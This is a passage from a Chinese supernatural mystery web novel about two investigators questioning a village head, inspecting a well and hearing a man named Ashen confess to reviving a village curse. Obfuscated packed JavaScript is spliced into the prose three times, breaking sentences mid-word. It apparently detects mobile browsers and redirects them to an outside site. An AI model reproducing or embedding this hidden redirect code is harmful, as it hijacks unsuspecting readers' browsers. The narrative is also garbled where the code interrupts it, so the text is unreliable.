“村长不让,他在道上认识不少人,我们根本就逃不了多远。只是我实在受不了了,我不想在这个村子里变成一个只会吃人的怪物,所以我才想着逃跑,哪怕只能逃个几天也可以。” 说到这,齐明美小心翼翼瞥了一眼梅询,继续说:“本来我想把出逃路线都计划好之后,再把你一起带出去的,结果就被姜小姐找上门了。” 宜姜嗯了一声,然后站了起来:“行。你是在这里等着事情结束,还是到时候我让人找你?” 齐明美看了看周围,果断选择在这里待到事情结束。 “我们去那几个剩下的坟堆看看?”梅询跟着宜姜出来,在旁边提议。 现在那几个坟堆就像是一个个没引爆的炸弹,他们想密切关注,但又害怕里面的东西。 “去呗,我也正想要过去。” 等走得离房间稍微远了一点,宜姜又开口:“那个叫做齐明美的女孩,她说的话不太对。” “哪里不对?” 宜姜思考:“首先,按照她的说法,这个黑斑的污染源是蘑菇,而蘑菇那几个人都说是别人给的,村长肯定能查到当初给蘑菇的人。就算是偷的,那也有大概的位置,但是村长也没说,村长反而说的只是剩下无关紧要的表面,这一点勉强可以用他们整个村子杀了那几个黑斑的人来解释。” “第二,能用枪打死的东西,能死一次就能死第二次,他们只需要找一找怎么样去除身上的黑斑这一点就可以解决大部分事情了。但是,他们也都不说重点,只是引导我们注意到坟堆,让我们这些人去挖坟墓。” 听到这,梅询眨了眨眼睛盯着宜姜,想说些什么却又害怕打扰到宜姜的思路。 宜姜察觉到了:“你有什么想说的?” 梅询避开了她的视线:“我是觉得,那个村长让我们这些道上的去挖坟,也许就是存了让我们也得病的心思。” “报复社会这类?” “那倒不是,我更倾向于他想让我们主动去找解除黑斑的办法,毕竟我们这些人身上多多少少有些保命的本事在。” 宜姜很意外梅询能说出这番话来,毕竟这可是个连村长说谎都分辨不出的人。 梅询似乎知道宜姜心里在想些什么,他摸了摸头:“就事论事,突然有所感悟。” “这也很有可能。” 宜姜顺着他的思路继续想下去,这个村子肯定有什么古怪,而且,这个村长隐瞒的一定也是一件了不得的大事。 “我们……”宜姜突然开口,“还是先去看看坟堆再说,姜家人一直守在那里,应该是没人会过去的。” 说到这,宜姜突然想起了什么,如果这个村子的黑斑真的会传染的话,那她就应该和其他那些接下任务的人说清楚,免得到时候沾染一大片。 梅询点点头,对这点很赞同,但他问了一个问题:“姜家人不会被传染吗?” “当然也会,姜家人也是人啊。”宜姜不假思索地回答。 “那我们是不是应该离开这个村子先?” 宜姜边走边摇头:“我暂时不走。” 既然自己接下了这个任务,那她就会尽力做好,何况,她要是走了,剩下的这些人怎么办? 和姜奚从打了个电话交代之后,宜姜把视线重新回到梅询身上:“要不,你也走?” “我不走。这毕竟是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470812|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的第一个任务,我还是希望能做好的。” 宜姜经过前几次和梅询的交流,大概知道他现在是个什么性子,于是也没多说什么。 两个人到坟堆那的时候,姜家人留了几个守在那,都站得端端正正的,看到宜姜来了,都上来和她问好。 梅询再一次感受到了桃花在姜家的重要性,对姜家严格的等级制度也算是从想象落到了实处。 宜姜走到最近的那个坟堆,是他们昨天晚上挖了又填回去的那个,她突然转过头问梅询:“你昨天晚上回填的时候,有发现什么不对劲的地方吗?” “没什么不对劲的。” “等等,你现在身上有出现那种黑斑吗?” 梅询吓得把袖子拉起来,尽可能地把自己身上看了一遍:“没有没有,大概这里面的都到费子平身上了。” 宜姜拿了根棍子往坟堆里戳了戳,没什么变化,还是得看那些没被人挖过的,她把视线默默地移向了其他坟。 “你要挖其他的?”梅询一下子就察觉到她的想法了。 “有点危险。”宜姜点点头,又评价道,“去找村长吧,毕竟,他还是知道得多一点。” 说完,她朝在场的一个人招了招手,嘱咐他把村长带过来。 梅询等她把事情安排完了才开口:“感觉村长也不会说什么。” “会说的。我让姜奚从把其他参加任务的人都清出去了,这村子里目前就只剩下我们和村民,和他想象中的局势可完全不同。” 宜姜站了起来:“就算不说,起码看看他的反应也好。” 现在又陷入了无事可做只能等待的时间,梅询侧过头看了看宜姜,从他现在的角度能看到宜姜的耳垂,小小的一个,上面有个微小的耳洞,就和大学时候看见的一样。 恍惚中,梅询好像真的一下子回到了过去,但周围的环境很残酷地把他拉了回来。 梅询嘴比脑子快:“你……” 宜姜回过头看他。 “你身上的伤什么时候能好?”梅询僵硬地随便找了个话题。 宜姜困惑地看着他,但还是好脾气地回答:“再过几天吧。” “姜家让你受伤了都必须要出来接任务吗?” “那不是。”宜姜挽救了一下姜家风评,“是我自己要出来的,平常也应该是一个人出任务,结束之后才会有其他人跟进收尾,这次只是因为我受伤了所以才带了这么多人。” 梅询听到这,稍微宽心了一点。 他不说话了。 这个时候宜姜倒是奇奇怪怪地看了他一眼开始问:“你们捉妖师那放心你一个人出来?” 据宜姜所知,其实也算是俟裕后续跟进查出来的消息,这次妖梅的出现让捉妖师一脉都炸开了锅,起码在宜家得到的消息来看,很多捉妖师的祖师辈都出来了。 不过,捉妖师也瞒得很紧,其他什么消息都没放出来。但这样更加显示了妖梅在捉妖师一脉的重要性,似乎不仅仅只是四支之首的原因。 梅询垂下眼,他们在某个层面上不放心,只是害怕他再次跑掉,关于人身安全方面倒完全不担心。 “他们……应该挺放心的。” 宜姜看了看有些迟疑回答的梅询,继续问:“那也还行,起码没限制你人身自由。” “的确也还行。” 梅询虽然是这样回答,但事实上,这是他被关了做妖梅验证快一个月才能出来接的第一个任务。 “不过,你们捉妖师怎么取一个妖梅作为名字,总感觉不是捉妖师,反而像是妖的别称。” 梅询不知道怎么解释,只好沉默着。 21. 第八章 村长的出现拯救了梅询。 “听说你们有事找我?” 宜姜把注意力放在了村长身上:“到现在这个状况了,你干脆把事情的前因后果都讲了呗。” 村长不说话。 梅询在一旁假装阴恻恻开口:“你不说话的话,等会我们把坟扒拉开,把你先扔进去碰那个尸体。” 听到这话,不仅是村长一脸惊悚地盯着梅询看,宜姜也微微皱眉看向了梅询。 梅询赶紧凑到宜姜身边,贴着她的耳朵小声解释:“我吓他的。” 村长看了看他们这架势,完全被吓着了,这些人下葬的时候他就在现场,尸体的惨状他至今还心有余辜。 但是村长还是强硬着态度:“你们别诓我,现在是法治社会,我死了,村子里的人会报警的……” 宜姜看了看村长,和其他人下了命令:“就挖这座坟。” 说完,姜家人突然把村长架住往坟堆里靠。 “等等!等等!我说我说。” “等一下。”宜姜下了命令,“说吧。” 村长不自觉地咽了咽口水,他看了看架住自己的人:“要不先把我松开?” 梅询在一旁说:“松开你跑了怎么办?快说吧,再磨蹭就把你塞进去了。” 村长没办法,只好开口:“这个找你们的办法是之前有个外村人过来的时候告诉我们的,因为那个外村人,我们村子也的确状况好了不少。” 以为能听到事情前因后果的两人互相困惑地对视了一眼,万万没想到村长说的会是这件事。 梅询脱口而出:“那个外村人长什么样子?他用了什么方法?” 村长顶着一张困惑的脸:“一个很普通的男人,不知道用了什么办法,但是自从他来到了村子,我们就没再有人变成这种怪物了。” 宜姜问:“那个外村人现在在哪?” “在我发布任务之前就已经走了,谁也不知道他去哪了。” 宜姜思考了一会儿说:“说一说那个外村人来之前的事情。” “你们……”村长懵了,“你们还不知道发生了什么?那你们把我绑来这里干什么?” 梅询站到了宜姜身边:“废什么话,问你你就回答。” 村长只好继续回忆:“今年土地不好,我们村子进行了一场祭祀,是从村子古书上翻到的,祭祀完之后……” 宜姜打断了村长的话:“祭祀内容是什么?” “很简单,在村口设立了一个祭坛,摆放着酒、茶、果、饭之类的东西,大家一起拜一拜。”村长顿了顿,继续讲下去,“祭祀完之后,土质的确好了不少,也下了几场雨。但是从祭祀完开始,村子里的很多活物都很焦躁,再后来就是我之前说过的,莫名死了很多家畜。” 一个祭祀引起的? 梅询看了看村口的方向,所以还是说祭祀须谨慎啊。 村长缓了一口气,面色纠结地说:“后来真正出现人死亡是因为有几个人不听劝,非要去之前祭祀的第一块田里,他们挖出了不少蘑菇,吃完之后他们就变成只会咬人的怪物了。” “等等。”宜姜再次打断了村长的话,“你之前祭祀不是就在村口弄了个祭坛吗?怎么还会有第一块田?” “当时祭祀,村子里的人也是抽了号码牌一个一个上来的,抽到一号的那户人家就是一号田。” 梅询紧跟着问:“一号田是哪一块?” 村长左右瞟了瞟,抬了抬下巴:“就那块。” 两个人顺着方向看过去,正好就是那块废弃的西瓜田。 “然后呢?” 村长想了半天才继续接下去说:“我们一起合伙把那些人杀了,为了毁尸灭迹,尸体都连夜烧了。但不久之后,那些搬尸体出去烧的人也慢慢变成了怪物,我们就又杀了一遍,也就是这里埋的那些人。” “这次杀完,村子里没人再敢埋尸体了。也是在这个时候,那个外村人来到了村子里,刚开始大家都瞒着他,但是他却好像知道村子里发生了什么,主动戳破了真相,还告诉我们要怎么样做。然后,就是现在了。” 听完村长说的故事,宜姜和梅询两个人再度陷入了沉思。 梅询突然抬头问:“你说第一批死的人不听劝非要去第一块田,第一块田发生过什么事?” 村长无声地张了张嘴,最后叹了一口气,回答道:“那块地,死过人。” 如果真的按照死人顺序来看的话,祭祀之后死的第一个人就是第一块田的主人,是个三十多岁的男人,叫齐富庆。 死法很可笑,不小心掉进井里,家里人当时也没发现,也没人救,于是人就这样没了。 主要是刚祭祀完,田里状况刚好一些,齐富庆的那块田正好在种西瓜,结籽也突然变多起来,他高兴得不得了。 但那块田就在路边,齐富庆总害怕有什么不长眼的来偷瓜,于是就在田边架了个简易的棚子,自己整天在那守着,家里人早中餐过来送饭。 那片田附近恰好有个取水的井,当天他家里人迟迟不见他回来吃晚饭,出去找也没找到人,还以为他是去朋友家睡了。 结果第二天人还没回来,他们发动了整个村子的人才找到了齐富庆的一只鞋,就在水井旁边。 大家都猜测这人是掉下去了,当时那个怪物的事情还没发生,村长就报了警,最后在井里捞上了他的尸体,已经全被泡发了。 这口井还是用来灌溉村子田地用的,警方调查之后给出了一个失足落水的结果,这事也就过去了。 但村长总觉得不太吉利,这可是祭祀里的第一块田,当时还是齐富庆花了大价钱换来的序号,结果还没几天呢就死了一个人,死法还那么草率。 而且因为齐富庆死了,这田也就闲置了下来。 宜姜眯着眼睛思考了一会,又拿起棍子浅浅扒拉了一下坟堆,齐富庆的死看起来似乎没什么奇怪的地方,但接下来那几个变成怪物的人就不对劲起来了。 还有那个祭祀,也古怪得很,听过程算是比较正常的了,没见血也没杀生,只是摆了几桌吃食供奉,怎么后来还牵扯出这么大的摊子。 梅询则围着村长绕了几圈,眼睛一直盯着这个人,他总觉得这个故事里有不对劲的地方,就像是有人把关键的地方特意抹去了。 “那个外村人让你把道上的引来之后呢?你还需要做些什么?”梅询趁着村长不注意,突然发问。 村长非常茫然地看向他:“他说,到时候就知道了。” 宜姜想到了什么,突然看向村长:“你们当时祭祀的时间是什么时候?” 村长迟疑了片刻才回答:“闰六月十七,今年8月10号。” 六月十七,宜姜打开手机查了查,那天正好是诸事不宜,难不成是因为日子选的不对? 村长好像也知道宜姜在查些什么,他解释:“日子我们也是按照册子上来的,每月十七。” 梅询又回到宜姜身边,对着村长问道:“那本记录了祭祀的古籍在哪里?” “我家里,就在进去左手边柜子第二格里。” 宜姜给姜家人摆了个眼色,立马有人去村长家拿东西了。 “被传染的人身上的那个黑斑是什么意思?” 村长听到宜姜的问题,嘴角微微抽了抽:“没有黑斑,是我们自己造的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470813|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “自己造的?”梅询反问了一句,马上反驳道,“不对啊,你们村子里可有人说那死去的人身上都有。费子平脸上也有黑色条纹。” 村长摇了摇头,肯定地说:“不可能。当时那些人身上只有撕咬伤,什么黑斑都是我们村子里几个年长的互相撒谎造出来的,就是为了能够吸引道上的人过来。” 他又补充了一句:“尸体上的黑斑可能是尸斑,活人是没有黑斑的。” 宜姜沉默着,她在梳理现在的很多信息,太多太乱也太杂了,真真假假混在一起。 旁边的梅询看了一眼她,也不怎么说话了。 至少,先等等那本记录了祭祀的古书,目前来看,这是所有事情的最开始。 姜家人很快把书拿来了,宜姜饶有兴趣地翻了翻,大致内容都和村长讲的差不多。 梅询等宜姜看完之后才接过去仔细翻看了一遍,没什么特别的,最多也就是在字体上看起来像是上世纪的印刷体,叫它古书都算是夸大了。 那祭祀暂时也找不到什么漏洞了。 宜姜把目光移到那块西瓜地里,祭祀之后,这里是第二个发生事情的地方,但这里并没有新坟。 “那个死掉的齐富庆,他家里还有人吗?他的坟在哪?那个井又在哪里?” 村长认认真真回答:“家里还有个六十多岁的爹,坟具体是哪个得问问他爹,当时我没怎么关注这个,我一直在警察局跑来跑去,井已经被我们封起来了,就在西瓜地附近。” 梅询也想到了这一茬,他问:“我们先去哪?” 宜姜思考了几秒,下了个决定:“去看那口井。” 几个人带着村长就走到了齐富庆溺死的那口井附近,那个井口被一块板子盖住,板子上面还压着几块大石头。 把上面的东西全部清理干净之后,宜姜低头往井里看过去。 这里的井和他们想象中的不一样,宜姜以为这里的井就像是老宅里的那样,井边都有井壁砖,但这里只是放了几块石头,就像是随手挖了一条道,边上什么都没有,水也是混浊的。 村长在一边解释:“本来这个井就不是用来我们吃的,而是用来浇灌田地的,所以大伙都没怎么正规地挖。” 梅询随口问了一句:“这地下水通向哪的?” 村长愣了愣,似乎是没想到会有人问这个问题:“这……应该是黄河或者长江吧?” “河南这,有黄河或者长江支流?” 面对这个问题,村长一问三不知,他只是摇摇头:“我不知道。” 宜姜围着井从各个角度都观察了一遍,没发现什么不对劲的。 她拍了拍梅询:“你们捉妖师能看到这井里有什么异常吗?” 梅询仔细感受着,最后摇了摇头,他刚来就仔细检查过一遍了,这里什么都没有。 宜姜皱起眉头,看着那口井没说话,她目前的身体状况也没办法确认这地方究竟是怎么回事。 她的鬼种受了伤,没办法开窍,自然也就没办法看到这里发生了什么。只能感受到这里很干净,但干净不意味着这里没存在过鬼,没准那只鬼目前不在这里,或者是太微弱了她感受不到。 进入姜家的第一天,姜阁杨就问了宜姜一个问题:你觉得鬼是什么? 鬼,当时在宜姜看来,就是人死后魂灵不散的一种产物。 姜阁杨却说这完全不对,世俗意义上的鬼的确就是如此,但在姜家人眼里,鬼只是一种负面情绪的东西。 简单来说,鬼算是死者的执念,身体死去了,但执念还在,于是就变成了一种肉眼看不见的东西,而在执念过于深的情况下,这些东西能够在现实中出现。 22. 第九章 在井边徘徊了几圈,宜姜两人再次确认,这地方没什么古怪的。 于是,他们就打算去拜访一下齐富庆的父亲,但在这个井里都没有线索的情况下,这次拜访也很难得到些什么。 宜姜转过身往村子里走的时候,突然想到一个问题:齐富庆真的是不小心摔死的吗? “怎么了?”梅询看到又再次转过头看向水井的宜姜,也转过身问。 宜姜思考了会,还是决定先去看看齐富庆的家,她回答:“没什么,我们先去齐富庆家里看看。” 因为这里的坟还是需要有人守着,宜姜就带走了一个姜家人,帮忙抓住村长跟着他们俩走。 齐富庆的家在村子的边缘,外面破破烂烂的,看上去已经很久没人打扫过了,宜姜敲了敲门,一位拄着拐杖头发花白的老人打开了门。 “你们找谁?” 村长走了上来:“齐叔,是来找你的,问问富庆的事情。” 齐叔让开了位置:“那就进来吧。” 等几个人落座,因为已经经历过警察的几次询问了,齐叔熟练地开口问:“你们要问富庆的什么事?” 梅询看了看正在观察整个房间的宜姜,咳咳了几声之后开始问:“齐富庆死之前有什么奇怪的地方吗?” 齐叔摇摇头:“都一样,没什么奇怪的。” “那他那天出事的时候,他去那口井干什么?是来舀水灌溉西瓜田吗?” 齐叔缓了缓才回答:“算算日子,富庆那个时候是要浇水了,警察说是不小心滑了一跤栽到水里了。也怪我,本来应该早点去找的,不然也不会落得那个下场。” 想到了伤心处,齐叔的声音都哽咽了起来。 梅询求救式地看向宜姜,宜姜也正好都观察完了,这地方正常的不得了,她转过头问:“齐叔,家里的这些柴火是村子里大家给你捡的吗?” “那不是,是阿绅给我带来的,他啊,是我们富庆的好哥们,这段日子也多亏了他我才活下来。” “这样啊。”宜姜赞同地点点头,脸色不变地转移了话题,“齐富庆当时下葬,阿绅也去了吧?” “那个时候阿绅还没回来,下葬多亏是村子里大家互相帮衬。” “葬在哪啊?” 齐叔回忆了一下,颤颤巍巍地说:“就在西瓜地里。” 宜姜根本就没在西瓜地里看到过新坟堆,梅询也悄悄对着她摇摇头,他也没看到过。 “这段时间,阿绅有去坟前看过齐富庆吗?” 齐叔摇摇头:“这……我腿脚不便一直在家里,我也不知道那孩子去没去啊。” 宜姜沉默了一会,就站起来和齐叔告别了,等走出门口,梅询才在旁边一字一句地说:“消失的坟堆?” 宜姜却转过头盯着村长问道:“当时,村里下葬,好多人都来帮忙了,为什么你不在?换句话说,你作为村长怎么不记得坟的位置,这种意外死亡的,你应该更记得才是。” 村长嘴角抽抽,什么话也不说,低下了头。 梅询看着死活不开口的村长,转过头和宜姜说:“现在重要的是找到那个坟。” 宜姜闭上眼睛努力回忆着村长说过的话,突然,她一下子睁开了眼睛,她察觉到之前不对劲的地方了。 齐明美说过,她想逃出去,而梅询是在村口遇见她的,那个时候她正在和阿绅哥说话。 这个阿绅哥又是在齐富庆死亡之后回来的,算算时间,也就是在那些人死亡前后回来的。 而且,齐明美为什么逃跑的计划里会出现阿坤哥? “不让村子里的人离开是那个外村人说的?”宜姜问。 村长这个时候却开口了:“是的,没错,那个外村人嘱咐过,千万千万不能让村子里的人离开,少一个人都不行。” 梅询也想到了这一茬,他对着宜姜说:“要不给齐明美打个电话问问那个阿绅哥?” “不,我们直接去找那个阿绅哥。”宜姜摇了摇头,示意手下人把村长先带回去关好,这才转过头和梅询说。 一路上,梅询还是把自己觉得疑惑的地方问了出来:“那个齐富庆的死是不是不对劲?还有那个卡着时间点出现的阿绅。” 宜姜边走边说:“有很大的可能,但我们俩都没在那个井边发现什么奇怪的地方,也许是有人特意清理过了。” “关键是,那个村外人让这么多道上的人过来干什么?” “不像是什么好心给这个村子提出办法,反而像是借着这个村子的异常谋划着什么。” 梅询紧锁眉头,在村口看了又看,奇怪,那个阿绅哥不见了。 宜姜几乎没见过那个阿绅哥,听见梅询说的话,僵了一下:“他一直都在村口吗?” 梅询也意识到了:“没错,如果他有问题的话,那他就是在监视着整个村子,甚至掌握着所有人的进出。” 但现在这个人已经不见了。 梅询问了问村子的人,两人一路找到了阿绅哥住的地方,门半掩着,梅询推开门进去。 “没人。”宜姜确认之后说,“可能是因为之前我让他们去找村长,这件事情已经打草惊蛇了。” 主要是在当时的消息来看,故事里最奇怪的是村长,谁知道一直到最后突然出现了一个阿绅哥。 梅询的眉头就没松下来过:“我们接下来再找找人?” 对于目前的情况,宜姜也很困惑,但她很快就做出了决定:“那就换个方向,我们先回去,我再让人去田里找找有没有新坟,还有找找那个阿绅哥。” 的确,现在很多东西都是卡住的,目前人选里,只有村长在他们手上。 两人一言不发地回到了住处,一会儿不见,村长已经变成了惊悚脸。 看见两个人回来,村长几乎连滚带爬地冲过来:“你们这怎么还有这种活的怪物?” 宜姜瞥了一眼费子平:“绳子捆得好好的,你怕什么?再说了,你们不是都杀过那么多了,还怕什么呢?” 村长还是爬得离费子平远远的,这当然不一样了,那个时候都是晚上,最后看到的也都是死尸,谁碰上这种活的不害怕啊。 齐明美自从村长出现在这里就完全把自己缩成一团,躲在杭石床边,降低自己的存在感。 宜姜却专门提到了她:“齐明美是吗?你当初想的是找阿绅哥把你送出去?” 齐明美没法子,缓缓伸出自己的脑袋,尴尬地和村长对视了一眼之后回答:“是的,我找的阿绅哥。” 梅询补充:“他同意了?” “很快同意了。” 宜姜无意识地摸了摸自己的头发,继续问:“阿绅哥是个什么样的人?” “阿绅哥……”虽然很疑惑为什么他们会提到阿绅哥,但齐明美还是乖巧回答,“之前阿绅哥在外地打工,我们基本没见上几面,还是这次他回来所以见得多了些。阿绅哥家里没人了,就他一个,这次他说回来就不走了。” 说了半天阿绅哥的家庭,齐明美才反应过来宜姜问的问题究竟是什么,她赶紧转了话题:“阿绅哥是个挺温和的人,对我们都挺好的,只是我常常能看到他在没人的地方发呆。” 梅询垂下眼,悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472584|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄走到宜姜身边,轻声密语:“这个阿绅哥会不会就是那个外村人?” 也不是没有可能,毕竟,按照齐明美的话来说,这个人基本不在村子里生活,也许换个造型,村子里的人就认不出来了。 但如果是这样的话,阿绅哥用自己的身份更能拉近和村里人的距离,根本不用扮作那个什么外村人。 想到这,宜姜和梅询都同步把目光落在了村长身上,这个外村人只出现在村长的话术里。 “你说的外村人是真的还是假的?” 村长消化了很久齐明美也被这些人抓住了的事情,听到问题,他直愣愣地回答:“真的,村子里都能知道,那些死掉过人的家里都知道,不信你可以一个一个问过去。” 说完,村长又冷不丁地说了一句:“阿绅家里还有个妹妹,前几年被人贩子拐了。” 事情再度陷入了僵局。 宜姜看了看时间,招呼梅询出去:“吃饭吧,反正也得等他们把坟找到,我已经让姜奚从把午饭买好带来了。” 姜奚从,这人梅询就看见过几次,两人在桌子边坐下之后,梅询把筷子掰开,假装闲聊式地问起来:“姜奚从不一直跟在你身边吗?” “她也有自己的事情要做,跟着我只是她的任务之一,再说了,我最近身体也好得差不多了。” 梅询点点头:“那就好。” 突然,关着费子平的房间传来了一声尖叫。 梅询放下筷子就冲了进去,那声尖叫是齐明美喊出来的,她惊魂未定地看向门口。 “我……我刚刚看到阿绅哥趴在窗户上,盯着我们。” 宜姜听到立马从窗户那翻了出去,但已经没人了,她蹲下身,窗户外的地上的确有个浅浅的脚印。 “怎么样?”梅询探出头问道。 宜姜拍了拍手上的灰,摇了摇头:“有人的确在这里站过,但现在没人了。” “先进来吧。”梅询退开几步,给出宜姜翻进来的空间。 宜姜撑着窗台就翻了进来,这个村子越来越奇怪了。 “那个阿绅哥,是个什么表情?” 齐明美心有余悸地说:“表情?没有什么表情,就是一闪而过,我只来得及认出来那张脸是谁。” 这个时候,宜姜的手机响了起来,是出发去找坟的姜家人。 “桃花,我们找了附近的一些田,没找到新坟,但是我们发现了一个奇怪的东西。” “什么东西?”宜姜拉着梅询从房间出来,打开了免提。 “一个小型祭坛。” “在哪找到的?” “在您之前让我们守着的那几座坟连线的中心点,很小的一个。” “行,我现在就过来。”宜姜边向梅询指了指门口,边继续问,“那个阿绅哥你们找到了吗?” “找到了。” 以为还是什么都找不到的宜姜听了这话还觉得是自己听错了,她又问了一遍。 “找到了,其实也说不上是找到的。我们的人刚把那个小祭坛挖出来,那个阿绅哥就突然出现了。” 梅询插了一嘴:“那他现在就和你们在一起?” 对面的姜家人听到一个男人的声音愣了几秒,但还是继续回答:“就在一起。桃花,那个人说,他就在这里等你们。” 宜姜停了下来。 “有什么不对的?”梅询察觉到她的表情不对。 “把那几个人都带上,我怕这个村子里不止阿绅哥一个人。” 给屋子里的姜家人打了个电话,两人在原地等了一会才往田里走过去。 23. 第十章 阿绅哥果然就在那站着,而在他的不远处有一个小小的青铜色的东西,破破烂烂的,如果不说这是祭坛,怕是也没几个人能认出来。 宜姜一行人在离阿绅哥几米远的地方站住了。 梅询看着眼前几乎整个气质都变了的阿绅哥,忍不住皱了皱眉,这个人…… 阿绅哥冷冷地说:“你们终于来了。” 村长从来到这里就一直不抬头,死死盯着脚下的地面,齐明美则缩在姜家人身后,杭石喘着气不明所以,费子平照例在地上蛄蛹着。 梅询率先开口:“阿绅哥,这里的这些东西都是你弄的?” “对没错。”阿绅哥很爽快地承认了,但紧接着又用一种锐利的眼神看向村长,“这都是他们活该!” 宜姜接着问:“谁活该?齐富庆活该?村长活该?还是这个村子的所有人活该?” 阿绅哥这个时候倒是不慌不忙地坐在了地上:“富庆哥是个好人,村长也是,不过,有时候,好人才更加该死!” 这话一出,宜姜和梅询都懵了。 宜姜把阿绅哥现在说的话先放到一边,反而问了之前他们讨论多的问题。 “这个村子里那个会传染的东西是你带来的?” 阿绅哥摇摇头:“不是,它就一直在这里,我只是让它有了可以自由出来的能力。” 梅询指了指那个祭坛:“你是靠这个祭坛?” 阿绅哥没回答,而是看了看周围,姜家人死死守住了他可以逃跑的路线。 果然,这个计划里就不应该出现姜家人,谁知道这种小任务居然会引来这些人。 阿绅哥突然开口:“事到如今,也没什么好隐瞒的,毕竟那些人已经全被你们弄出去了,再拖着时间也没有用。” 村长就在这时候突然把目光转向了阿绅哥,眼神里满是哀求。 阿绅哥不为所动,他说:“各位,听我讲个故事吧。” 故事的开始,是幸福的一家四口在村子里平淡地生活,但因为一场意外,妹妹被人贩子拐走了,家里人找了很多年还是一无所获,也因为这个打击,爸妈都坚持不住死去了。 死之前,他们俩唯一记得的就是那个不知所踪的女儿,他们死死嘱咐着儿子:“阿绅,你一定要找到妹妹,不然我们死不瞑目。” 阿绅记住了,也这样做了,他和小时候邻居家的伙伴告别,带上村长给的资金外出打工,期间也一直在找寻着妹妹的踪迹。 但在茫茫人海中找到一个被拐卖的孩子,太难了,阿绅找了好几年,什么消息都没有,直到机缘巧合之下,他遇到了一些在道上有着千奇百怪技能的人。 他花了大价钱把自己弄得人不人鬼不鬼,终于是从那些人手里学到了找人的办法。 讲到这,宜姜和梅询同时往他身上看去,阿绅哥也很好脾气地把自己一直穿着的外套脱了下来,他身上有着一圈又一圈被虫子撕咬的痕迹,密密麻麻地重叠在一起。 宜姜一眼就看出来了,这人去当药人了。 阿绅哥继续讲下去。 这个找人的办法就是,依靠血亲的心头血当做连接的线索,在子时抹在镜子上,它就会指引大致的方向。 阿绅就是依靠这个办法一点一点靠近了妹妹齐瑗,最后终于是见到了她。 十几年没见,那个记忆里笑着的女孩子已经变成了看见人就尖叫的疯婆子。她被拐了之后就被卖到山里的一户人家当童养媳,前几年生下了一个女儿,女儿刚生出来就被他们溺死了。 阿绅虽然无数次想过妹妹会过上一种可能不太好的生活,但是当他亲眼目睹这一切的时候,他还是完全没有办法接受。 而这些年为了找齐瑗,阿绅手里也沾了不少血,于是他把囚禁着妹妹的那家人全都杀了,带着她来到了陌生的地方生活。 这样一段时间之后,齐瑗的情况终于是好了一点,起码不会看见男的就尖叫,只是出门的时候会一直黏着阿绅。 这时候,阿绅已经离开家二十年了,他和齐瑗商量着,要回村里一趟,给爸爸妈妈上柱香,和他们说自己终于找到妹妹了。 齐瑗对小时候还有些许记忆,她怯生生地答应了。 两个人回村子的时候,正好碰到了在西瓜地里守着的齐富庆,虽然很多年不见,但两个人还是很快认出了彼此。 惊讶的是,齐瑗也还记得小时候邻居家的哥哥,虽然还是害怕,但会主动和齐富庆问好。 “这是妹妹吧?看起来就和你差不多。你终于是找到了她了,也多亏你这么多年没放弃,以后都是好日子。有空晚上来哥家喝酒,好酒好菜招呼着呢。”齐富庆看到两个人,心里很是欣慰,自己这个幼时好友终于是又回家了。 阿绅也一直笑着:“好好好,一定来。等会我去镇上买点吃的,哥你准备好酒就行了,到时候我们不醉不归!” 两个人聊了一会,阿绅就要带着齐瑗回家,但是齐瑗却突然不肯跟着他走,而是站在原地指着地里的西瓜不说话。 阿绅明白了,她这是想在这里再待会儿,但是天色也不早了,加上阿绅还要放好行李打扫屋子再去镇上一趟,时间来不及。 齐富庆看着小孩子一样的妹妹,直截了当地说:“就让妹妹在这,我回家还早着呢,我帮你看着。这么多年,我们俩虽然没见,在手机上联系也没少过,在这方面你就信哥的吧。” 阿绅担忧地看了一下妹妹,她正聚精会神地盯着西瓜瞧,他思考了一下,还是把齐瑗托付给了齐富庆,但他打算放好东西打扫好屋子就来接妹妹,至少把家里布置成齐瑗小时候的样子,让她有安全感一点。 听到这里,梅询看了宜姜一眼,她也同样思索着,这个故事里的妹妹齐瑗好像从始至终就没出现在他们眼前。 阿绅哥闭上了眼睛,深呼吸之后继续从旁观者的角度讲故事。 但阿绅不知道,他刚离开这里没多久,也就区区十几分钟吧,迎面来了一群大汉,勾肩搭背的,齐瑗突然尖叫着蹲下捂住自己的脑袋。 在旁边的齐富庆很懵,但还是尽力安慰着,齐瑗这个时候却连齐富庆的靠近都接受不了了,她突然站起来往田里跑。 齐富庆愣了几秒,赶紧追了上去,边追边喊她的名字,但完全没有用。 齐瑗跑着跑着就跑到了水井边,结果脚一滑一头栽倒进去,幸好这个时候齐富庆快跑了几步抓住了她。 